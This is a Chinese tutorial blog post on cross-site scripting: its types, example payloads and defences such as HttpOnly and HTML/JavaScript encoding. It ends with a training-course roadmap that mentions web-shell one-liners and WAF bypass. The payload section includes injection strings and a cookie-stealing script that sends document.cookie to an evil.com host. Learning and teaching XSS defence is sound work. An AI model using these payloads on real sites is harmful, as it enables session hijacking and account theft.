Web安全之跨站脚本攻击(XSS)

sXSS 简介

跨站脚本攻击,英文全称是 Cross Site Script,本来缩写是CSS,但是为了和层叠样式表(Cascading Style Sheet,CSS)有所区别,所以在安全领域叫做“XSS”。

XSS 攻击,通常指黑客利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,从而通过“HTML注入”篡改了网页,插入了恶意的脚本,然后在用户浏览网页时,控制用户浏览器(盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害)的一种攻击方式。

XSS 危害

  1. 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

  3. 盗窃企业重要的具有商业价值的资料

  4. 非法转账

  5. 强制发送电子邮件

  6. 网站挂马

  7. 控制受害者机器向其它网站发起攻击

XSS 分类

反射型 XSS

反射型 XSS 也叫做“非持久型XSS”(Non-per-sistent XSS),它是最常见的类型的 XSS。

反射型 XSS 只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。

简单例子

假设一个页面把用户输入的参数直接输出到页面上:

// test.php
<?php
    $input = $_GET["param"];
    echo "<div>".$input."</div>";
?> 
正常情况

用户向 param 提交的数据会展示到页面中,比如提交:

http://www.a.com/test.php?param=这是一个测试! 

这样在页面就会显示 这是一个测试!

非正常情况

但是如果提交一段HTML代码:

http://www.a.com/test.php?param=<script>alert(/xss/)</script> 

此时页面源码以及嵌入 <script>alert(/xss/)</script>,那么 alert(/xss/) 将会在当前页面执行,而这显然不是开发者所希望看到的,对于黑客来说这样就完成了一次攻击了。

存储型 XSS

存储型 XSS 通常也叫做“持久型XSS”(Persistent XSS),因为从效果上来说,它存在的时间是比较长的。

存储型 XSS 会把用户输入的数据“存储”在服务器端。这种 XSS 具有很强的稳定性。

简单例子

假设在文章下面的评论区有这样的一个评论表单提交代码:

<input type="text" name="content" value="这里是用户填写的数据"> 
正常情况

用户提交正常的评论内容(如 “这是一篇好文章啊!”),然后该评论内容将存储到数据库中。等其他用户查看该文章时,从数据库将评论内容取出并显示。

非正常情况

黑客提交 <script>alert(/xss/)</script> 这样的评论内容,然后该评论内容将存储到数据库中。等其他用户查看该文章时,从数据库中取出并显示,此时浏览器将执行这段攻击代码。

DOM Based XSS

实际上,这种类型的 XSS 并非按照“数据是否保存在服务器端”来划分,DOM Based XSS 从效果上来说也是反射型 XSS。单独划分出来,是因为 DOM Based XSS 的形成原因比较特别,发现它的安全专家专门提出了这种类型的 XSS。出于历史原因,也就把它单独作为一个分类了。

DOM Based XSS 通过修改页面的 DOM 节点形成的 XSS。

简单例子
<script>
    function test(){
        var str = document.getElementById("text").value;
        document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
    }
</script>

<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" /> 
正常情况

点击“write”按钮后,会在当前页面插入一个超链接,其地址为文本框的内容。

非正常情况

在文本框输入 ' onclick=alert(/xss/) //,这样生成的超链接为 <a href='' onlick=alert(/xss/)//' >testLink</a>,原理就是用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符“//”注释掉第二个单引号。这样点击新生成的超链接,就会执行攻击代码了。

还有另外一种攻击方式,将 <a> 标签闭合掉,然后插入一个新的 HTML 标签,如下示例:

在文本框输入 '><img src=# onerror=alert(/xss2/) /><',这样生成的超链接变为 <a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>,图片加载失败之后就会执行攻击代码了。

XSS Payload

前文谈到了 XSS 的几种分类。接下来,就从攻击的角度来体验一下 XSS 的威力。

XSS 攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为“XSS Payload”。

XSS Payload 实际上就是 JavaScript 脚本(还可以是 Flash 或其他富客户端的脚本),所以任何 JavaScript 脚本能实现的功能,XSS Payload 都能做到。

通过 XSS Payload 可以实现如下攻击:

Cookie 劫持

在当前的 Web 中,Cookie 一般是用户登录的凭证,浏览器发起的所有请求都会自动带上 Cookie。如果 Cookie 没有绑定客户端信息,当攻击者窃取了 Cookie 后,就可以不用密码登录进用户的账户。

攻击代码:

var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img); 

这段代码在页面中插入了一张看不见的图片,同时把 document.cookie 对象作为参数发送到远程服务器,这样,就完成了一个简单的窃取 Cookie 的 XSS Payload。

然后使用窃取到的 Cookie 通过自定义 Cookie 的方式访问网站,达到登录目标用户的账户的目的。

构造 GET 与 POST 请求

一个网站通过 HTTP 协议中的 GET 或 POST 请求即可完成所有操作,因此可通过让浏览器对目标网站发起这两种请求来达到攻击的目的。

假设某个网站有这样的一个删除文章的请求:

http://www.test.com/blog/delete?id=156713012 

对于攻击者来说,只需要知道文章的 id,就能够通过这个请求删除这篇文章了。

攻击代码:

var img = document.createElement("img");
img.src = "http://www.test.com/blog/delete?id=156713012";
document.body.appendChild(img); 

攻击者只需要让博客的作者执行这段 JavaScript 代码(XSSPayload),就会把这篇文章删除。在具体攻击中,攻击者将通过 XSS 诱使用户执行 XSS Payload。

XSS 钓鱼

如果通过构造 POST 请求(表单提交)进行攻击时,在提交表单时要求用户输入验证码,那么一般的 XSS Payload 都会失效;此外,在大多数“修改用户密码”的功能中,在提交新密码前,都会要求用户输入“Old Password”。而这个“Old Password”,对于攻击者来说,往往是不知道的。

对于验证码,XSS Payload 可以通过读取页面内容,将验证码的图片 URL 发送到远程服务器上来实施——黑客可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的 XSS Payload,从而绕过验证码。

修改密码的问题稍微复杂点。为了窃取密码,攻击者可以将 XSS 与“钓鱼”相结合。实现思路很简单:利用 JavaScript 在当前页面上“画出”一个伪造的登录框,当用户在登录框中输入用户名与密码后,其密码将被发送至黑客的服务器上。

识别用户浏览器

  1. 读取浏览器的 UserAgent 对象。

  2. 由于浏览器之间的实现存在差异——不同的浏览器会各自实现一些独特的功能,而同一个浏览器的不同版本之间也可能会有细微差别。所以通过分辨这些浏览器之间的差异,就能准确地判断出浏览器版本,而几乎不会误报。这种方法比读取UserAgent要准确得多。

识别用户安装的软件

知道了用户使用的浏览器、操作系统后,进一步可以识别用户安装的软件。

在IE中,可以通过判断 ActiveX 控件的 classid 是否存在,来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击”——黑客通过判断用户安装的软件,选择对应的浏览器漏洞,最终达到植入木马的目的。

攻击代码:

try {
    var Obj = new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’);
} catch (e) {
    // 异常了,不存在该控件
} 

这段代码检测迅雷的一个控件(“XunLeiBHO.Thun-derIEHelper”)是否存在。如果用户安装了迅雷软件,则默认也会安装此控件。因此通过判断此控件,即可推测用户安装了迅雷软件的可能性。

CSS History Hack

我们再看看另外一个有趣的 XSS Payload——通过 CSS,来发现一个用户曾经访问过的网站。其原理是利用 style 的 visited 属性——如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。

获取用户的真实 IP 地址

通过 XSS Payload 还有办法获取一些客户端的本地IP地址。

很多时候,用户电脑使用了代理服务器,或者在局域网中隐藏在 NAT 后面。网站看到的客户端IP地址,是内网的出口IP地址,而并非用户电脑真实的本地IP地址。如何才能知道用户的本地IP地址呢?

JavaScript 本身并没有提供获取本地IP地址的能力,有没有其他办法?一般来说,XSS 攻击需要借助第三方软件来完成。比如,客户端安装了 Java 环境(JRE),那么 XSS 就可以通过调用 Java Applet 的接口获取客户端的本地 IP 地址。

XSS 防御

HttpOnly

浏览器禁止页面的 JavaScript 访问带有 HttpOnly 属性的 Cookie。因此 HttpOnly 可以对抗 XSS 后的 Cookie 劫持攻击。

输入检查

常见的Web漏洞如 XSS、SQL Injection等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。

输入检查,在很多时候也被用于格式检查。例如,用户在网站注册时填写的用户名,会被要求只能为字母、数字的组合。比如“hello1234”是一个合法的用户名,而“hello#$^”就是一个非法的用户名。

又如注册时填写的电话、邮件、生日等信息,都有一定的格式规范。比如手机号码,应该是不长于16位的数字,且中国大陆地区的手机号码可能是13x、15x开头的,否则即为非法。

这些格式检查,有点像一种“白名单”,也可以让一些基于特殊字符的攻击失效。

输入检查的逻辑,必须放在服务器端代码中实现。如果只是在客户端使用JavaScript进行输入检查,是很容易被攻击者绕过的。目前Web开发的普遍做法,是同时在客户端JavaScript中和服务器端代码中实现相同的输入检查。客户端JavaScript的输入检查,可以阻挡大部分误操作的正常用户,从而节约服务器资源。

输出检查

既然“输入检查”存在这么多问题,那么“输出检查”又如何呢?

一般来说,除了富文本的输出外,在变量输出到 HTML 页面时,可以使用编码或转义的方式来防御 XSS 攻击。

安全编码函数

编码分为很多种,针对 HTML 代码的编码方式是 HtmlEn-code。

HtmlEncode 并非专用名词,它只是一种函数实现。它的作用是将字符转换成 HTMLEntities,对应的标准是 ISO-8859-1。

为了对抗 XSS,在 HtmlEncode 中要求至少转换以下字符:

& --> &amp;

< --> &lt;

>--> &gt;

" --> &quot;

' --> &#x27;&emsp;&emsp; &apos; 不推荐

/ --> &#x2F; 包含反斜线是因为它可能会闭合一些 HTML entity

JavaScript 的编码方式可以使用 JavascriptEncode。JavascriptEncode 与 HtmlEncode 的编码方法不同,它需要使用“\”对特殊字符进行转义。在对抗 XSS 时,还要求输出的变量必须在引号内部,以避免造成安全问题。比较下面两种写法:

var x = escapeJavascript($evil);
var y = '"'+escapeJavascript($evil)+'"'; 

如果 escapeJavascript() 函数只转义了几个危险字符,比如 ‘、”、<、>、\、&、# 等,那么上面的两行代码输出后可能会变成:

var x = 1;alert(2); // 执行了额外的代码
var y = "1;alert(2)"; // 安全 

所以要求使用 JavascriptEncode 的变量输出一定要在引号内。

可是很多开发者没有这个习惯怎么办?这就只能使用一个更加严格的 JavascriptEncode 函数来保证安全——除了数字、字母外的所有字符,都使用十六进制“\xHH”的方式进行编码。在本例中:

var x = 1;alert(2); 变为 var x = 1\x3balert\x282\x29; // 保证是安全的 

参考

《白帽子讲Web安全》


转载请注明出处,谢谢!

学习网络安全技术的方法无非三种:

第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。

第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。

第三种就是去找培训。

image.png

接下来,我会教你零基础入门快速入门上手网络安全。

网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。

第一阶段:基础准备 4周~6周

这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
image.png

第二阶段:web渗透

学习基础 时间:1周 ~ 2周:

① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
image.png

配置渗透环境 时间:3周 ~ 4周:

① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。

渗透实战操作 时间:约6周:

① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
image.png
以上就是入门阶段

第三阶段:进阶

已经入门并且找到工作之后又该怎么进阶?详情看下图
image.png

给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值